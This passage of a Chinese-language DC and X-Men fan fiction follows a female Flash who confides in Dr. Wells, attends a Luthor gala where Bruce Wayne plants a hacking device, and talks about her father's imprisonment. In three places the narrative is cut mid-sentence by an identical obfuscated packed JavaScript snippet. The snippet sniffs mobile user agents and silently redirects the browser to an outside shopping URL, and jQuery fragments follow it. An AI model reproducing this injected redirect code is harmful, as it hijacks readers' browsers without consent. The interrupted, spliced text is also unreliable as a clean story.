他建立了这所学校。最初,陪在他身边的只有汉克,城堡空寂得让人怀疑这里住的是吸血鬼,而非两个失意的变种人。 随着时间推移,老师和学生越来越多,那些曾经迷茫、恐惧的年轻人学会了如何控制力量,也学会了如何彼此信任。最终,师生们组成了一支队伍,自称为“X战警”。 至于他的那位老友,艾瑞克·兰谢尔,作为变种人世界中的另一位领袖,因其操纵金属的能力而被称为“万磁王”。 与查尔斯教授的温和作派不同,万磁王是一个极端强硬派,行为包括但不限于试图用苏联部署在古巴的导弹核平地球、试图刺杀美国总统、拆毁金门大桥与万人体育馆等。 巴莉明白万磁王的动机是与人类政权对抗,为变种人争取生存空间,但从普通人的立场来看,那些更像是视人命如草芥的恐怖袭击。 的确,人类政府对变种人的种种行为同样堪称抢占道德至低点,系统性歧视、秘密实验等行为层出不穷。 可问题在于,这个世界上承受后果的,从来不只有作出决策的人。 更多的,是被动承受后果的普通人。 他们或许无知,或许软弱,甚至在某些时候选择了沉默,但大多数人并非加害者。他们只是努力生活的人,不巧出现在了错误的地点,比如下班时开车途经金门大桥,或是在节日里和家人一起坐在体育馆里观看比赛。 当导弹升空或建筑倒塌时,被杀死的并不是抽象的“人类政府”,而是一条条具体而无辜的生命。 巴莉希望自己永远不会忘记这一点:她不是更高等的存在,也不站在俯瞰众生的位置。 不论跑得多快,不论世界在她眼中变得多么缓慢,她仍然是一个普通人——会犹豫、会害怕、会为无辜者受伤而愤怒的人。 而如果她想要救下更多的人,她就必须变得更强大。 查尔斯教授已经告诉过巴莉,中心城里还有其他的超级人类,都是在粒子加速器爆炸之后出现的。至于他们的身份和善恶立场,那就需要巴莉自己去找出答案了。 巴莉清晰地意识到,她需要一个同伴。而她已经想到了人选。 第二天,巴莉回到了中心城。她把行李送回家,然后直奔星际实验室。 她一点也不担心会扑个空,因为根据她的观察,威尔斯博士完全没有私人生活,除了睡觉之外几乎从不离开实验室。 办公室的门开着。威尔斯博士正坐在电脑前,修长的手指在键盘上飞快敲击。屏幕的光映在她的镜片上,略显苍白的脸上没有任何表情,仿佛封闭了与世界的联系。 巴莉轻轻地敲了敲门。 “巴莉?”威尔斯博士抬起头,看向站在门口的女孩,神情一瞬间鲜活起来。她惊讶于巴莉会在周末忽然出现,急忙问:“出什么事了吗?你觉得不舒服?” 说话间,她已经来到巴莉面前,仔细地打量着。 “我的身体很好。”巴莉随手拉过一把椅子坐下,让自己和威尔斯博士的视线位于同一高度。“但我需要你的帮助。” “任何事,”威尔斯博士不假思索地说。 “我的意思是,耗时耗力的巨大帮助。”尽管早有心理预期,巴莉还是被对方干脆的、无条件的应允惊住了。她不自觉地加快了语速:“可能要投入大量的资源和精力,甚至会影响你现有工作……” “巴莉,你是在劝我拒绝你吗?”威尔斯博士忍俊不禁,有点无奈地打断了巴莉,“告诉我你需要什么,我会尽力去做。” 巴莉看了威尔斯博士几秒,嘴巴半张着,显得有点傻乎乎的,然后她有点不好意思地笑了一下,没头没尾地说:“我想变得更快、更强大。但仅靠我一个人的力量可能还不够。” 她随即意识到自己漏掉了一条关键信息:“对了,我就是闪电侠。” 威尔斯博士沉默了,镜片后的浅绿色双眼中翻涌着某种巴莉看不懂的情绪。 在巴莉紧张得几乎要忘了呼吸的时候,威尔斯博士终于开口了:“谢谢你的信任,将这件事告诉我。还有其他人知道吗?” “你是我告诉的第一个人。”巴莉严谨地说。 “所以你之前问的那些问题,都与你的制服相关,对吗?”威尔斯博士很快想到了其中关联,大脑飞速运转起来,“我已经想到有几处需要改进的地方了,也许下次你可以把制服带来,我们一起研究。” “还有训练,”巴莉补充道,“我想变得更快,以及更好地运用神速力——这是我给超级速度起的名字。” “那我得先给你安排一些体能测试。”威尔斯博士思考着,“我会做个计划。” 巴莉小心翼翼地伸出手,将掌心覆在威尔斯博士的膝盖上。她知道威尔斯博士已经无法通过那里感知到任何触觉,但她的动作依然放得极轻,并非像是对待一件脆弱的物品,而是充满了尊敬。 “我还得告诉你一件事,”巴莉的声音中带着安抚意味,“但我不希望你因此产生负罪感。” “是什么?”威尔斯博士已经因为巴莉少见的肢体触碰而察觉到了异样。 “我不是变种人。我是因为粒子加速器爆炸才获得了神速力,虽然我还没弄明白为什么会这样。但我不是唯一一个。” “你是说,还有其他人获得了超级能力。”威尔斯博士马上明白了。 “是的,但我不知道他们是谁,不知道他们的能力是什么,也不知道他们打算怎样使用这些能力。”巴莉将自己的担忧和盘托出。“所以我想先让自己变得更强。” 有那么一瞬间,威尔斯博士像是被愧疚压垮了,但她很快又打起了精神,握住巴莉放在她膝上的那只手:“粒子加速器爆炸是我的错,如果那些人危害中心城,那就是我的责任。我会和你一起保护中心城的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17033353|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的声音低下去,几乎是在喃喃自语,手上的力气却不自觉地加重了:“但说到底,真正要去面对危险的是你,我只能留在这里,一次又一次地等待你回来。” 巴莉看着威尔斯博士难得的情绪流露,一时有些不知所措。然后,她慢慢收紧了手指,反过来握住了威尔斯博士的手:“爆炸是一场事故,并非你故意造成的,而且你一直在很努力地承担责任,从未逃避过。我很佩服你的做法。” 望着那双浅绿色眼睛,巴莉认真地说:“我很高兴拥有了神速力,它让我可以帮助别人。而且,从现在开始,我不是一个人去面对危险,而是有你的帮助和陪伴。” 威尔斯博士点点头:“我会尽一切努力帮你的,闪电侠。” 在说出最后那个称呼时,威尔斯博士的语气里多了一丝难以分辨的意味。巴莉还来不及细想,她的手机响了。 巴莉站起身,从包里拿出手机,看见迪克的短信:“方便时请回电。” “如果你有事,就先去忙吧。”威尔斯博士说。她的手一动未动,仍放在之前的位置。“我正好需要一点时间思考。” “那我明晚再来。”巴莉第一次在威尔斯博士面前用了神速力。 房间里立刻安静下来。 威尔斯博士独自坐在那里,望着巴莉消失的方向出神。不知过了多久,她抬起被巴莉握过的那只手,轻轻地笑了一声。 下一秒,她收敛了笑容,重新坐回电脑前,继续为巴莉制定训练计划。 “对,我已经安全回到中心城了。”巴莉在公园找了一处安静的草地坐下,一边和迪克打电话,一边看着不远处的几只萨摩耶互相追逐嬉闹。 “那我就放心了。会议怎么样?”迪克察觉到巴莉不想在电话里细说变种人相关的事,便将话题转向更安全的方向。“顺便一提,我读了你的论文,写得很好。” 迪克正准备吃今天第一顿像样的饭。他从冰箱里拿出冷冻预制菜,打开盖子,将盒子放进微波炉里加热,看着它随着下方的玻璃盘慢慢转动。 没错,他可怜兮兮地回到哥谭,然后从心疼他的老管家那里获得了足够吃两周的储备粮,兴高采烈地回布鲁德海文了。 他觉得这么做很好,打算下次继续。 “谢谢你的夸奖。会议嘛,比我想象得更有趣。我还认识了一位法医同行,她在纽约市警察局工作。”巴莉忍不住微笑起来。 她的脑海中浮现出拉妮·帕里什的身影——言辞犀利又风趣的黑人女性,对自己的专业充满自信——拉妮是有医学博士学位的法医,从业经历比她资深多了。 “听起来你的收获很大。”迪克说。 “是呀。下次见面的时候,我要和你好好地讲讲那家学校。”巴莉的话刚说到一半,手机里响起提示音。她瞥了一眼屏幕,再次将电话举回耳边:“我有点事。回头聊。” “好呀,见面时讲。拜——”迪克的话音刚落,另一端的巴莉已经利落地挂断了电话。 下一秒,巴莉出现在警方通讯里提到的地点,以闪电侠的身份。 13. 第 13 章 微波炉响起“滴——”的提示音,迪克把冒着热气的餐盒拿出来,随手关上微波炉的门。他靠在料理台旁,一边吃一边出神。 阿福的手艺很好,二次加热后依然美味。但他回哥谭并不完全是为了蹭吃,这只是额外福利。 世上只有极少数的人知道,蝙蝠侠的制服下是哥谭首富布鲁斯·韦恩,迪克法律意义上的养父。 迪克怀念自己作为罗宾,和蝙蝠侠自称“活力双雄”的日子。他们在哥谭的夜空中并肩飞跃,无论是高楼的天际线还是昏暗的小巷中,他们总是配合无间。 他同样怀念那时候的蝙蝠侠,那个还没有如今这般沉默的男人会时不时地说个冷笑话,在成功后露出得意的笑容,也能将自己的担忧、疲惫和烦恼说出口。 后来,迪克单飞了。蝙蝠侠在夜巡时遇到一个胆大包天地用撬棍拆蝙蝠车轮胎的小男孩,一番波折后,布鲁斯收养了那个叫杰森的男孩。 再后来,蝙蝠侠允许杰森成为第二任罗宾。迪克因此感到心里不舒服,因为“罗宾”这个名字是母亲留给他的,也因为蝙蝠侠如此轻易地找了另一个罗宾。 在争吵、冷战和赌气之后,迪克和布鲁斯和解了,也和杰森建立起兄弟情谊。 直到一年前,小丑以残忍的方式杀死了第二任罗宾。曾经的温暖和美好瞬间破碎。 蝙蝠侠变得沉默,愤怒如影随形,甚至渐渐演变成一种近乎自我憎恶的情绪——他最愤怒的对象是自己。 与此同时,名利场上的布鲁斯·韦恩也发生了变化。他不再意气风发,眼神中多了挥之不去的疲惫与落寞,但这让他平添了成熟和忧愁的气质,反而有了与往日不同的魅力。 蝙蝠侠仍然在夜巡,仍然在战斗,仍然在守护哥谭。 但他的身边不再有罗宾,并非因为蝙蝠侠不需要搭档,而是无法再一次承受失去。 迪克不止一次地想过回哥谭,哪怕只是暂时的,作为罗宾站在蝙蝠侠身边。但蝙蝠侠拒绝了。 蝙蝠侠明白迪克的好意,看得懂迪克笑容下小心翼翼的关心,却不想让已经离巢的小鸟因为自己而被困住。 于是,迪克只能尽量乐观地想,至少每次回到那座过于空旷的大宅时,他还能带去一点旧时光的明亮。 巴莉将两个抢银行的劫匪绑得结结实实,拖到银行外面,丢在刚赶到的警车前。在警察下车查看的时候,巴莉已经风一般消失了。 她回到家时,伊德瑞斯也刚回来没多久,正在做三明治。巴莉赶紧提示他:“我还没吃午饭。” “你回来得比我预计的早。”伊德瑞斯原本只是随便给自己做点吃的应付一下,但见巴莉要吃饭,他立刻转身从冰箱里拿出更多食材,顺手取出平底锅开始烘烤面包片,又煎了几个鸡蛋,“正想联系你呢。” “怎么了?”巴莉拿了个苹果吃起来。 “主编刚才通知我,今晚替一位同事去参加卢瑟集团的记者招待会。确切地说,是在酒会上举办的招待会。”伊德瑞斯瞥见巴莉像只仓鼠一样啃苹果,加快了手上的动作。 “那要去大都会吗?”巴莉有点含糊地问,“希望他这次是真的有新闻要发布。” 卢瑟集团是一家经营范围极广的超大型企业,总部位于大都会。其总裁莱克斯·卢瑟经常在百忙之中抽出时间抨击超人,紧跟时事的程度让人怀疑他对超人的关注是不是太过火了。 “随便他发布什么。”伊德瑞斯毫不在意地说,“据说他的酒会总是吃得很好。这还是我第一次去,感谢那位同事临时有事。” “你什么时候出发?”巴莉问。 “吃完饭就去,免得路上堵车。你想一起去吗?不过晚上开车回来可能会有点晚,明天是星期一,你大概会起床困难。” “我每一天都起床困难。”巴莉很有自知之明,“你呢?明天难道不用上班吗?” “主编说我可以晚点到。”伊德瑞斯的职业优势在此刻显露无疑。 “我今天没什么事要做了,”巴莉想了想,“着装有要求吗?” “普通礼服。”伊德瑞斯已经考虑过这一点,“你大学毕业时买的那件红色的就很适合。” “那我去。”巴莉立刻决定。 “昨天的会议怎么样?”伊德瑞斯把装着三明治的托盘放到餐桌上。 “特别有趣。路上给你讲。” 布鲁斯坐在电脑前,重读了一遍最新查到的信息,觉得拼图中仍少了一块关键碎片。 他扭头对在一旁保养武器的阿尔弗雷德说:“我需要找机会进入卢瑟大厦,他们的系统防火墙很严密,无法远程入侵,除非我能在楼里放一个小装置。” “你打算怎么进去呢?那里的安保同样严密。”阿尔弗雷德没抬头,手上的动作也毫无停顿,“蝙蝠侠夜袭卢瑟大厦,这个标题肯定会登上《星球日报》的头条,然后被哥谭的报纸疯狂转载。” 布鲁斯拿起一个小巧的方形物体,思考着要怎么把它送进卢瑟大厦:“卢瑟集团最近有公开活动吗?” “以布鲁斯的身份去大都会吗?明智之举。”阿尔弗雷德想了想,“今晚有一场酒会,你收到了邀请,和往常一样回复的是‘谢谢邀请,不出席’。” “卢瑟应该不介意我改主意。”布鲁斯说。 “我这就安排。”阿尔弗雷德终于露出一丝笑意,毫不掩饰自己对布鲁斯久违地出席社交活动的高兴,哪怕这背后另有目的。 布鲁斯继续工作了一会儿,才起身去换上西装。 他打理好头发,看着镜子中的人,露出一个社交模式下的微笑。他对其中的僵硬和笨拙心知肚明,无法自欺欺人。 “去年,你在全美黄金单身汉排行榜上的名次破天荒地下降了一位,现在看来,似乎也算合情合理。”阿尔弗雷德无声地出现在布鲁斯的身后,语气中带着调侃。 “我三十七岁了,这不是很正常吗?”布鲁斯无奈地说。 “这么轻易地认输可不是你的风格。”阿尔弗雷德伸手,替布鲁斯正了正领带。 由于路上交通顺畅,巴莉和伊德瑞斯早早地抵达了酒会。伊德瑞斯一进去就看到了《星球日报》的记者克拉克· ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17033354|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肯特,立刻为巴莉介绍。 克拉克热情地把第一次来的伊德瑞斯引荐给几位同行,话题自然地转向工作和业内八卦。巴莉对伊德瑞斯使了个眼色,飞快地溜走了。 在食物方面,卢瑟集团的酒会的确名不虚传。 巴莉很快在自助餐台附近找到了一个合适的位置。数次徘徊后,她有了两个重大发现:其一,大部分现场宾客几乎不怎么吃东西,只是端着酒杯社交;其二,侍者会不断悄无声息地将餐台补满。巴莉觉得那个餐台就像童话故事里的神奇盘子,里面的食物永远吃不完。 “第一次来这种场合?”一个男人的声音忽然响起。 巴莉起初并没意识到男人是在和自己说话,直到他从侍者的托盘上取过一杯香槟,递到她面前。她这才反应过来,出于礼貌接过杯子:“谢谢。算是吧。” 男人的西装看起来很昂贵,但巴莉对此并没有什么兴趣,她只想安静地吃点东西。 可对方显然不打算因为巴莉的冷淡回应而离开。他一直盯着巴莉,带着令人不舒服的评估意味:“难怪你躲在一旁。这不太利于你开展工作,不是吗?” 我又不是记者。巴莉在心里反驳了一句,但没有把话说出口,只是敷衍地“嗯”了一声,想结束对话的态度足够明显。 “你的裙子不是当季的。”男人继续评论道,“有点可惜,浪费了你的容貌和身材。” 巴莉终于意识到对方在干什么——他是在寻找猎物。 而他口中的工作根本不是记者。 她默默记住男人的脸,然后端起盘子,打算再去拿点吃的。男人却向前迈了半步,刚好挡住了她离开的方向。 巴莉不动声色地扫了一眼四周,评估是否有人注意到这边。如果没有,她很乐意顺手为大都会的治安做点贡献,就当是感谢超人送伊德瑞斯安全回家了。 布鲁斯正好看见了这一幕——一个年轻女性有些怯生生地站在那里,目光游移,像是在寻找脱身的机会,也像是在用眼神求助。 他毫不犹豫地假装路过,对巴莉露出一个看到熟人的微笑:“我正在找你。” 巴莉有点茫然地看着布鲁斯站到自己身边,恰到好处地隔开了她和那个男人,动作自然得仿佛和她真的是老熟人。 男人在看清来人之后,露出一个不自在的笑容,转身离开了。 巴莉认出了布鲁斯:“韦恩先生?” 虽然这是她第一次亲眼见到这位超级富豪,但在媒体的多年努力下,布鲁斯的照片早就铺天盖地,无人不晓。 不过,细想起来,他已经有一段时间没有出现在记者们的高清镜头下了。据说他又一次在极限运动中受了伤,这次特别严重。 “酒会上总有一些自以为是的人。”布鲁斯语气平静。他的视线礼貌而短暂地落在巴莉的脸上,确认她是否还需要其它帮助。 虽然巴莉并不是真的需要人拯救的落难少女,但她仍旧对这次解围心怀感激。她正要开口道谢,布鲁斯却只是点点头,像是不过顺手做了一件最普通不过的小事,转身离开了。 14. 第 14 章 这一场小插曲结束得迅速,没有引起其他人的注意。 但巴莉还是受到了影响。她开始观察起现场,而不是仅仅把这里当成自助餐厅。 她看到卢瑟总裁一脸惊喜地迎上韦恩先生,打招呼的语气热络,还带着不惹人讨厌的抱怨。巴莉隐约听到他说:“你总是拒绝我的邀约。你的秘书简直像一台复读机——‘谢邀,总裁人在瑞士,刚下飞机’,或者法国、意大利、西班牙……欧洲就这么好玩吗?” 韦恩先生露出矜贵微笑,对着从父亲一代才开始发迹的卢瑟总裁说:“我的祖辈是乘着五月花号来到美国的欧洲人,我自幼便对欧洲的感情十分深厚,总想去那边。大概这就是所谓的血脉传承吧。” 巴莉正在喝香槟,差点被这个回答呛到。一般人就是故意找茬,也未必能想出这种回复吧? 然而,韦恩先生的神情诚恳得近乎无辜,任谁也无法说自己在他脸上看到了不屑或恶意。他的话甚至不是出于傲慢,只是在随口陈述一个世人皆知、无从反驳的事实——韦恩家是美国的老钱,而且至今仍然富可敌国。 卢瑟总裁的表情丝毫不变,既不因为出身不如对方而自卑,也没有因为那番话感到不悦。 他抬手示意身旁的助理把肯特记者叫过来,向韦恩先生介绍:“这是《星球日报》的记者,克拉克·肯特,我经常请他来报道集团的新闻。” 说着,他还颇为亲昵地揽住克拉克的肩膀,解释道:“我可不只是照顾老同学——我们在高中做了两年同学——克拉克确实是个好记者。” 克拉克一脸老实地站在英年早秃、气场强势的卢瑟总裁身旁。虽然他比卢瑟总裁高出几厘米,但他的肩膀微微缩着,看起来更像是被绑架后展示给警察的人质。任何有一点职场经验的人,都能一眼看出他的无可奈何。 可惜,对面的人是韦恩先生。 他只有做老板的经验,没有真正意义上的职场体验,因此完全没能从克拉克的表情和姿态中读出想逃跑的意味,反而聊个没完,兴致勃勃地询问他们是怎么成为同学的。 巴莉一直暗中观察,直到克拉克终于找了个机会脱身,卢瑟总裁和韦恩先生也各自去找别人社交,她才将视线移到其他人身上。 但她心里那一丝轻微的违和感始终挥之不去。 直觉地,她觉得韦恩先生绝非迟钝之人。他清楚地洞悉人性的幽微之处,并以老练而不动声色的方式应对。 替她解围时,他的分寸把握得恰到好处,既没有居高临下的怜悯,也没有若有若无的审视。 韦恩先生只是看到有人需要帮助,干脆利落地插手然后离开,对方是富是穷、是美是丑、是男是女都无关紧要。 他让人感到被认真对待,却又不至于被过度关注。 总体而言,这是一场宾主尽欢的酒会。 东道主卢瑟总裁很高兴,因为当他站在麦克风前说超人的坏话时,清楚地看见肯特记者露出郁闷的神色。 没错,卢瑟总裁早就已经知道克拉克·肯特就是超人。因此,每次接受《星球日报》的采访时,他都特地点名让肯特记者来。 他就喜欢看克拉克看不惯他的观点、又碍于职业道德不能和他正面冲突的样子。有那么几次,莱克斯几乎确信下一秒克拉克就会失控,把笔记本电脑的键盘硬生生敲出一个洞来。 至于事后来自超人的报复,卢瑟总裁根本不放在心上。本着冤冤相报何时了的行事原则,他坚持要和超人互相亏欠。 客人布鲁斯很高兴,因为他成功地完成了此行真正的目的,将一个小巧的网络破解装置放在了恰到好处的地方。此时此刻,阿福多半已经在韦恩庄园泡了一杯完美的红茶,卷起袖子开始工作了。 客人巴莉很高兴,因为她吃到了数量可观、质量上乘的美食,欣赏了高水准的现场表演,还兴致勃勃地听完了卢瑟总裁的脱口秀——不能怪她把那段演讲定义为“脱口秀”,实在是卢瑟总裁太过妙语连珠,对节奏和气氛的掌控几乎到了职业级别,连掌声和笑声响起的时间点都预估得清清楚楚。 客人伊德瑞斯很高兴,因为他认识了几位新同行,回家还不用自己熬夜写稿。 卢瑟集团今天确实有正经新闻要发布。只不过,体谅到记者朋友们在酒会后大多懒得加班,公关团队已经贴心地将通稿发到了每个人的邮箱里。 这个大新闻就是,集团将正式更名为莱克斯集团,总部大厦也同步更名为莱克斯大厦。 为了让这一过程更具戏剧性,宾客们抵达时,大楼顶部上醒目的巨大字标仍然是“卢瑟集团”;而当夜色渐深、宾客陆续离场时,灯光亮起,字标已经悄然变成了“莱克斯集团”。 回家的路上,伊德瑞斯带着些许歉意说:“我今晚没怎么陪你。你过得怎么样?” “明明是我自己跑掉的。”巴莉露出心满意足的笑容,“我吃得很开心,玩得也很开心。希望你的同事下次还能找你替班。” 伊德瑞斯被她的情绪感染,也跟着笑了起来:“现在我总算明白,这为什么会是资深记者的独家资源了。一个月来一次这样的酒会放松一下,确实不错。” “我相信,在你成为资深记者的时候,卢瑟集团,现在应该叫莱克斯集团了,它的这项活动还会继续的。”巴莉说着,打了个哈欠。 “睡一会儿吧。”伊德瑞斯轻声说,“到家还要一阵子呢。” 巴莉没有推辞,靠在车窗上,陷入了梦乡。 第二天上午,巴莉站在实验台前,被迫耐心地等待仪器完成分析结果。她试图用眼神催促机器加快工作速度,可惜毫无效果。 埃迪的短信在手机上跳了出来:“有空一起吃午饭吗?周末的时候我做了太多千层面,今天打包了双人份的午餐。” 巴莉立刻回复了消息。两人约好中午在警局旁边的小公园见面,顺便可以晒晒太阳。 埃迪比巴莉先到,他挑了一张长椅坐下,将饭盒和用纸巾包着的叉子拿出来,抬头时巴莉已经出现在视线里,脚步轻快地朝他奔来。 巴莉很快发现,埃迪的厨艺很好,而且非常善于观察,为她准备的那一份比给他自己的多出一倍。 “看来你的周末过得不错。”巴莉说。 “终于好好地休息了一天。很久没做饭了,一不小心就做了太多。”埃迪自己都觉得这个理由不太站得住脚,因为他做的未免太多了,但巴莉显然没有意识到这一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17033355|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他看着巴莉举止文雅却速度飞快地吃着,想不通她究竟是怎么做到长期保持这种饭量,却没有变成肥胖症患者的。 也许实验室的工作比他想象的还要消耗体力和精力。 “今天忙吗?”巴莉问。 “上午一直在做文书工作。昨天闪电侠抓了两个抢银行的人,不过他们只是一个小犯罪组织的新成员,给不出什么有价值的信息,倒是对自己的犯罪行为供认不讳。” “新成员?”巴莉有点吃惊,“现在犯罪组织的入门任务要求已经这么高了吗?” “很不可思议吧。他们还有统一分发的设备呢,枪和护目镜。普通大学社团的仪式感都未必有他们强。”埃迪忍不住吐槽。 面对巴莉,他可以放心地分享这些信息,因为他们同在一所警局工作,这类基础案情并不涉及保密。 巴莉失笑,小声嘀咕道:“我还真没注意。” 她回忆着昨天抓住的两个劫匪,他们的确戴着样式相同的护目镜。她当时只以为是搭档一起买的装备,完全没往“组织统一配置”这个方向想。 这确定不是犯罪组织的后勤部门为了在集中采购里吃回扣,才想出来的办法吗? “什么?”埃迪没听清。 “没什么。”巴莉迅速换了个话题,“这么说来,这两个人都没什么犯罪记录喽?那检察官大概不会从重处理吧。” “其实,其中一个还是警察的孩子。”埃迪压低了声音,“伦纳德·斯奈特,他的父亲是一名因为长期酗酒而被开除的前警察。” “斯奈特……我对这个姓氏没什么印象。”巴莉摇摇头。 “老斯奈特离开警局已经十多年了,你不知道很正常。”埃迪解释道,“伦纳德的童年过得很糟糕,他父亲每天都喝得烂醉,经常打他的母亲,也打他和妹妹。” 巴莉不自觉地放下了叉子,专心听着。 “后来,他母亲病死了,父亲也终于死了,只剩下他和妹妹相依为命。”埃迪继续说道。 “天啊。”巴莉惊呆了。 “高中辍学之后,伦纳德就在社会上干些偷鸡摸狗的事情,为了让他的妹妹继续读书。倒是没被逮捕过。”埃迪叹了口气,“乔对他的处境很同情,但问题是,他已经二十二岁了,是个成年人。是否能从轻发落,还得看检察官的态度。我们还在沟通。” “这是福利机构的失职。”巴莉忍不住说。她为伦纳德感到难过。 他本来可能过上一个平凡、安稳,甚至幸福的生活,却被现实推着走上了错误的道路。 她有点后悔自己昨天行动得太匆忙。如果她愿意多停留片刻,和他们谈谈,说不定他们会对自己的所作所为感到悔恨,主动选择自首。 巴莉低下头,声音不自觉地放轻了些:“他们并不是生来就是坏人,也不是没有变好的可能。我这么想,会不会太理想化了?” 埃迪却没有笑话她的天真,而是说:“也许吧,但我和你的想法一样。” 他接着说下去:“法律的目的从来不只是惩罚,也包括纠正和教化。人应该被允许拥有新的机会。” 巴莉抬起头,看见埃迪的眼睛在阳光下格外明亮。 15. 第 15 章 对于司法流程,巴莉虽然不是一线警员,却也很有经验:“好消息是,中心城的法院案件排期短,审讯速度也快。检察官不用被成堆的案子压着,便不会反复申请延期。” “乔也是这么说的。”埃迪点了点头,“比起纽约那种案子堆积如山的情况,或者哥谭那种集体性的刻意拖延,中心城的司法效率算是相当高了。” “中心城很少有真正意义上的恶性案子,案情通常也不复杂。警察很忙,但更多是因为人手有限,而不是案件本身有多复杂。”说到这里,巴莉有点骄傲又有点惋惜地感叹起来,“局里很少有机会和联邦调查局合作,我已经工作一年了,还没碰上过。不过这也算是好事吧。” “基斯顿城也是。”埃迪很理解巴莉的心态,因为他也一样,希望自己有机会参与大案要案,却也希望城市安全得压根不需要联邦调查局出场。 “你有想过去一个更大的城市工作吗?”巴莉的目光落在中心城的天际线上。 警局位于市中心,周围的高楼大多是线条利落的现代风格建筑,玻璃与金属反射着日光,少见历史感厚重的浮雕或装饰。这是一座普通的新兴城市,和美国的不少城市看起来并无二致。 但中心城也有它的独特之处。 她的视线下移到街道。道路干净整洁,路边几乎看不到被随意丢弃的垃圾,更少见流浪汉的身影——这在美国的市中心堪称罕见,足以让纽约市民看了嫉妒到流泪,哥谭市民看了大喊这是绿幕制作的。 这里没有哥谭那种挥之不去的、笼罩了每个人的阴影,也没有纽约那样金钱永不眠的疯狂追逐。在中心城,犯罪会发生,但通常能被解决;悲剧存在,却很少被无限拖长、腐烂成习以为常的背景噪音。 “刚上大学的时候,我一直计划着毕业后回星城工作。”埃迪坦率地承认,“不过后来发现,我其实更喜欢这种氛围温馨的城市。星城是个混乱的大都市,我已经体验过了(been there, done that)。你呢?” 这句反问让巴莉短暂地出神。她摇了摇头:“我有必须要在这里做的事。” 在决定选择犯罪实验学专业时,她在定期去铁山监狱看望父亲时,把自己的决定告诉了亨利。 隔着防弹玻璃,亨利握着听筒的手用力到指节泛白。他的声音嘶哑:“你小时候一直想当一名科学家,还记得吗?我以为你会选择化学专业。” “犯罪实验学也是要学化学的。”巴莉没有正面回答。 “你不能被我的事情困住。”亨利看着女儿,几乎是在恳求,“巴莉,我希望看到你去过你自己的人生。” “这就是我的人生。”巴莉倔强地说。 类似的对话在巴莉大学毕业前也发生过一次,只不过交谈对象换成了乔。 起初,那次对话只是看似随意的闲聊。乔建议巴莉试试申请纽约警局。她的成绩和实习经历都很优秀,非常有希望被录取。 “事实上,我只打算申请中心城警局的职位。”巴莉对乔说了实话。 这个回答并没有让乔感到意外。他沉默了一下,随后坐了下来,摆出一副显然准备要长篇大论的架势。 巴莉也跟着坐下,心里已经隐约预感到,这场谈话恐怕不会很快结束。 “我前几天去看了亨利。”乔清了清嗓子,“我们都觉得,你应该去大城市发展。” “中心城现在也算得上是大城市了,”巴莉反驳道,“科技新兴企业很多,不然星际实验室也不会选择在这里建立。” “你可以趁年轻去外面看看,如果之后发现还是更喜欢这里,再回来也不迟。”乔没有轻易地放弃劝说,“上次我们三个去纽约玩的时候,你不是挺喜欢那里的吗?” “旅游的话,纽约当然很好。但我还想继续住在家里呢,一点都不想去租一间转不开身的小公寓,过蜗居生活。”巴莉故意拖长音调,开始撒娇,“你是不是嫌我住在家里太拥挤了,要让我出去自己住。” 乔被巴莉那点刻意的蛮不讲理的态度弄得有些无奈:“你明明知道,这里永远是你的家。就算你去纽约工作,你的房间也会一直为你留着。” “纽约有很多老鼠,”巴莉换了个理由,“我又不是汤姆猫,不想和杰瑞家族住在一起。” “我给你买捕鼠夹。”乔应对自如,“还有老鼠药,全都安排上,保证你的住处方圆几米内都没有老鼠。” “纽约的治安不好,犯罪率据说比哥谭还高。”巴莉绞尽脑汁地罗列纽约的缺点,“我一个人住在那里,你就不担心吗?” “伊德瑞斯说他正想申请纽约的工作试试呢。” 乔的确担心,但他对老朋友承诺了,保证要立场坚定地劝说巴莉。因此,在见过亨利之后,他先找了伊德瑞斯谈话。好在伊德瑞斯对去纽约并不排斥,当即答应尝试寻找新工作。 巴莉一时词穷,只能气鼓鼓地瞪着乔,但依然不肯听从他的建议。 “巴莉。”乔少见地用严肃的语气喊她的名字,“你不能沉湎在过去里。而且,那不是你该背负的。诺拉不会希望看到你这样。” “这不是沉湎过去,”巴莉的声音有点颤抖,“这是为了未来,为了我父亲的未来。他是无辜的,却被关在监狱里十几年,可能要在那里度过余生。与此同时,杀害我母亲的凶手正在某个地方继续过他的生活。” “我不会放弃这个案子的,我保证。”乔郑重地说。 “我知道,但我不能置身事外。”巴莉的眼圈红了。“我做不到。” 她哽咽着说:“找到真凶,这就是我前进的方法。如果我停下来了,那才是真的被永远地困住了。” 就像无数家庭里发生过的争执一样,父母总是最终妥协的那一方。 埃迪听了巴莉的回答,没有问她要做的是什么,而是下意识地问:“那做完之后呢?” 